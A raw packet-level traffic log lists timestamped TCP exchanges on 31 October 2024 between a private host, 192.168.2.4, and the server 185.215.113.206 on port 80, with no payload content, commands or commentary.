Oct 31, 2024 17:26:32.122158051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122167110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122174025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122190952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122191906 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122204065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122205019 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122215986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122227907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122236013 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122240067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122246981 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122255087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122267962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122277021 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122286081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122291088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122298002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122309923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122315884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122322083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122334003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122340918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122345924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122359037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122366905 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122371912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.122384071 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.122405052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123050928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123063087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123074055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123090982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123090982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123102903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123111010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123116016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123127937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123137951 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123142958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123150110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123162031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123162985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123172998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123178005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123186111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123198986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123205900 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123210907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123224020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123233080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123234034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123246908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123249054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.123275042 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.123298883 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124450922 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124468088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124479055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124490023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124500990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124506950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124514103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124519110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124525070 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124531984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124545097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124546051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124557972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124569893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124573946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124581099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124584913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124593973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124604940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124614000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124617100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124629021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124639034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124641895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124650955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124654055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124665976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124682903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124682903 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124695063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124706030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124707937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124720097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124749899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.124964952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124975920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.124996901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.125020027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.163938999 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.163959026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.164024115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.164071083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.164087057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.164128065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.166518927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166548014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166610003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166621923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166690111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.166697979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166749954 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.166790009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.166832924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237140894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237176895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237189054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237282038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237306118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237307072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237318993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237329960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237340927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237361908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237384081 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237580061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237591028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237610102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237622023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237621069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237634897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237647057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237649918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237659931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237675905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237683058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237692118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237695932 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237719059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237746000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237900972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237919092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.237941980 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.237958908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.238296032 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.238307953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.238318920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.238338947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.238364935 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239017963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239029884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239044905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239056110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239067078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239068985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239078999 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239083052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239092112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239110947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239130020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239722013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239733934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239743948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239756107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239768028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239768982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239780903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239792109 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239793062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239805937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239818096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239825964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239830017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239847898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239850044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239861965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239869118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239873886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239890099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239893913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239902973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239913940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239913940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239927053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239938974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.239949942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239960909 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239990950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.239993095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240005970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240015984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240027905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240032911 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240040064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240051985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240053892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240065098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240077019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240082026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240089893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240102053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240103960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240124941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240137100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240148067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240150928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240159988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240170956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240179062 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240189075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240190029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240221977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240235090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240273952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240291119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240303040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240313053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240314007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240324974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240330935 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240345955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240358114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240367889 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240370035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240381002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240391970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240391970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240403891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240406036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240417004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240427971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240434885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240441084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240452051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.240464926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.240484953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241058111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241069078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241080046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241092920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241103888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241105080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241117001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241126060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241130114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241142988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241152048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241156101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241168022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241178036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241180897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241190910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241200924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241204023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241216898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241225004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241229057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241240978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241251945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241262913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241264105 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241272926 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241285086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.241292000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241312981 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.241348982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242024899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242037058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242046118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242058039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242063999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242069960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242082119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242085934 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242094040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242106915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242119074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242122889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242131948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242134094 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242144108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242150068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242160082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242162943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242176056 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242187023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242193937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242198944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242211103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242217064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242223024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242233992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242238045 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242245913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242257118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242261887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242280006 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242306948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.242980957 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.242994070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243004084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243016005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243026972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243031025 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243037939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243046045 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243051052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243063927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243074894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243078947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243088007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243098974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243099928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243110895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243113041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243123055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243134022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243144989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243146896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243158102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243168116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243172884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243180037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243184090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243194103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243206024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243211985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243217945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.243238926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.243263960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.281717062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.281806946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.281811953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.281847000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.281990051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.282031059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.282044888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.282084942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.282119036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.282159090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.284291029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.284343004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.284348011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.284360886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.284388065 CET	62829	80	192.168.2.4	185.215.113.206
